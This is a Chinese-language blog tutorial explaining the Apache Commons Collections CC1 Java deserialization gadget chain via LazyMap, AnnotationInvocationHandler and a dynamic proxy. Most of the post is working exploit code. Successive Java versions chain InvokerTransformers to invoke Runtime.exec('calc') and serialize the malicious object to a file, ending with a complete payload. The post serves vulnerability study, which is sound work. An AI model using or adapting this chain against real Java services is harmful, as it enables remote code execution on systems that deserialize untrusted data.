cc1链(LazyMap)


cc1链(LazyMap)

接上次分析,在上一次分析中我们已经构造了一条完整的利用链:

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class Test {
    public static void main(String[] args) throws Exception {
        //Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(java.lang.annotation.Retention.class,decorate);

        serialize(obj);
        //unserialize();

    &#125;
    public static void serialize(Object obj) throws Exception &#123;
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    &#125;

    public static void unserialize() throws  Exception&#123;
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();

    &#125;
&#125;

继续分析,其实可以发现在LazyMap中的get方法也调用了transform函数:

  //-----------------------------------------------------------------------
    public Object get(Object key) &#123;
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) &#123;
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        &#125;
        return map.get(key);
    &#125;

    // no need to wrap keySet, entrySet or values as they are views of
    // existing map entries - you can't do a map-style get on them.

并且这里的factory的值可以通过构造方法控制:

 /**
     * Constructor that wraps (not copies).
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    protected LazyMap(Map map, Factory factory) &#123;
        super(map);
        if (factory == null) &#123;
            throw new IllegalArgumentException("Factory must not be null");
        &#125;
        this.factory = FactoryTransformer.getInstance(factory);
    &#125;

虽然这里的构造方法是一个保护方法,但是这里还有一个静态方法decorate,通过这个方法我们可以调用构造方法:

   /**
     * Factory method to create a lazily instantiated map.
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    public static Map decorate(Map map, Transformer factory) &#123;
        return new LazyMap(map, factory);
    &#125;

所以这里我们可以修改一下我们之前的链子了:

public class Test &#123;
    public static void main(String[] args) throws Exception &#123;
        //Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"calc"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
        decorate.get("");
    &#125;
    
&#125;

接下来看看get方法在哪里被调用了,这里可以看到在AnnotationInvocationHandler类中的readObject和invoke中被调用了,但是在readobject方法中memberTypes值不可控:
在这里插入图片描述
在invoke方法中,可以看到memberValues的值可控:

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) &#123;
        this.type = type;
        this.memberValues = memberValues;
    &#125;

    public Object invoke(Object proxy, Method method, Object[] args) &#123;
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        assert paramTypes.length == 0;
        if (member.equals("toString"))
            return toStringImpl();
        if (member.equals("hashCode"))
            return hashCodeImpl();
        if (member.equals("annotationType"))
            return type;

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    &#125;

所以这里我们需要利用到jdk动态代理的方法,因为使用jdk动态代理时会触发invoke方法,所以构造的payload如下:

public class Test &#123;
    public static void main(String[] args) throws Exception &#123;
        //Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"calc"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        InvocationHandler annotationInvocationHandler=(InvocationHandler)con.newInstance(Target.class,decorate);
        Map  proxymap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]&#123;Map.class&#125;,annotationInvocationHandler);
        proxymap.entrySet();
    &#125;
&#125;

到这里我们只差最后一步就是找到一个重写的readObject来进行反序列化触发这个payload,还是在AnnotationInvocationHandler类中,在readObject中执行了:memberValues.entrySet(),所以完整的payload如下:

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Test &#123;
    public static void main(String[] args) throws Exception &#123;
        //Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

        Transformer[] transformers=new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]&#123;String.class,Class[].class&#125;,
                        new Object[]&#123;"getRuntime",null&#125;),
                new InvokerTransformer("invoke",
                        new Class[]&#123;Object.class, Object[].class&#125;,
                        new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec",
                        new Class[]&#123;String.class&#125;,
                        new Object[]&#123;"calc"&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        InvocationHandler annotationInvocationHandler=(InvocationHandler)con.newInstance(Target.class,decorate);
        Map  proxymap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]&#123;Map.class&#125;,annotationInvocationHandler);
        Object obj=con.newInstance(Target.class,proxymap);
        serialize(obj);
        //unserialize();

    &#125;
    public static void serialize(Object obj) throws Exception &#123;
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    &#125;

    public static void unserialize() throws  Exception&#123;
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();

    &#125;
&#125;

文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录